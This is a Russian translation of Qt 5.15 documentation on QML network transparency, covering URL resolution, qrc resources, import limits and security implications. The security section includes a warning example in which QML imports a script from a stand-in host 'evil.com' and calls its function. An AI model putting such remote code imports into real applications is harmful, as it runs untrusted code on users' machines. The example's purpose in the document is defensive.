Spec-Zone.ru › Qt 5.15

Загрузка ресурсов и прозрачность сети

QML поддерживает прозрачность сети, используя URL-адреса (а не имена файлов) для всех ссылок из документа QML на другой контент. Это означает, что QML может обрабатывать удалённые ресурсы так же, как и локальные, в любом месте, где ожидается URL-источник, например, в следующем источнике изображения:

Image {
    source: "http://www.example.com/images/logo.png"
}

Поскольку относительный URL-адрес эквивалентен относительному файлу, разработка QML в обычных файловых системах остаётся простой:

Image {
    source: "images/logo.png"
}

Прозрачность сети поддерживается во всём QML, например, как элементы FontLoader, так и Image поддерживают загрузку ресурсов с удалённого сервера.

Даже типы QML могут находиться в сети — если используется Prototyping with qmlscene для загрузки http://example.com/mystuff/Hello.qml и этот контент ссылается на тип "World", движок загрузит http://example.com/mystuff/qmldir и разрешит тип так же, как и для локального файла. Например, если файл qmldir содержит строку "World World.qml", он загрузит http://example.com/mystuff/World.qml Любые другие ресурсы, на которые Hello.qml ссылается, как правило, с помощью относительного URL-адреса, аналогичным образом будут загружены из сети.

Относительные и абсолютные URL-адреса

Всякий раз, когда у объекта есть свойство типа URL (QUrl), присвоение строки этому свойству фактически присвоит абсолютный URL-адрес — разрешая строку относительно URL-адреса документа, где используется эта строка.

Например, рассмотрим этот контент в http://example.com/mystuff/test.qml:

Image {
    source: "images/logo.png"
}

Свойству источника Image будет присвоено http://example.com/mystuff/images/logo.png, но во время разработки QML, например, в C:\User\Fred\Documents\MyStuff\test.qml, ему будет присвоено C:\User\Fred\Documents\MyStuff\images\logo.png.

Если строка, присвоенная URL-адресу, уже является абсолютным URL-адресом, тогда "разрешение" не меняет его, и URL-адрес присваивается непосредственно.

Ресурсы QRC

Одна из схем URL, встроенных в Qt, — это схема "qrc". Это позволяет скомпилировать контент в исполняемый файл с помощью Системы ресурсов Qt. С помощью этого исполняемый файл может ссылаться на QML-контент, скомпилированный в исполняемый файл:

QQuickView *view = new QQuickView;
view->setUrl(QUrl("qrc:/dial.qml"));

Затем сам контент может использовать относительные URL-адреса, и поэтому будет прозрачно не знать, что контент скомпилирован в исполняемый файл.

Ограничения

Заявление import является прозрачным для сети только в том случае, если оно имеет предложение "as".

Более конкретно:

  • import "dir" работает только в локальных файловых системах
  • import libraryUri работает только в локальных файловых системах
  • import "dir" as D работает с прозрачностью сети
  • import libraryUrl as U работает с прозрачностью сети

Последствия для безопасности приложений

Модель безопасности QML заключается в том, что QML-контент представляет собой цепочку надёжного контента: пользователь устанавливает QML-контент, которому он доверяет, так же, как устанавливает родные приложения Qt или программы, написанные с использованием сред выполнения, таких как Python и Perl. Это доверие устанавливается с помощью различных механизмов, включая доступность подписи пакетов на некоторых платформах.

Для сохранения доверия пользователей разработчики QML-приложений не должны загружать и выполнять произвольные JavaScript или QML-ресурсы. Например, рассмотрите следующий QML-код:

import QtQuick 2.0
import "http://evil.com/evil.js" as Evil

Component {
    onLoaded: Evil.doEvil()
}

Это эквивалентно загрузке и выполнению "http://evil.com/evil.exe". Движок QML не будет препятствовать загрузке определённых ресурсов. В отличие от JavaScript-кода, который выполняется в веб-браузере, QML-приложение может загружать удалённые или локальные ресурсы файловой системы так же, как и любые другие родные приложения, поэтому разработчики приложений должны быть внимательны при загрузке и выполнении любого контента.

Как и любое приложение, обращающееся к контенту, выходящему за рамки его контроля, QML-приложение должно выполнять соответствующие проверки на любой недоверенные данные, которые оно загружает. Например, не используйте import, Loader или XMLHttpRequest для загрузки любого недоверенного кода или контента.

© The Qt Company Ltd
Licensed under the GNU Free Documentation License, Version 1.3.
https://doc.qt.io/archives/qt-5.11/qtqml-documents-networktransparency.html

Spec-Zone.ru

Настройки Оффлайн Что нового Помощь О нас
Spec-Zone .ru
спецификации, руководства, описания, API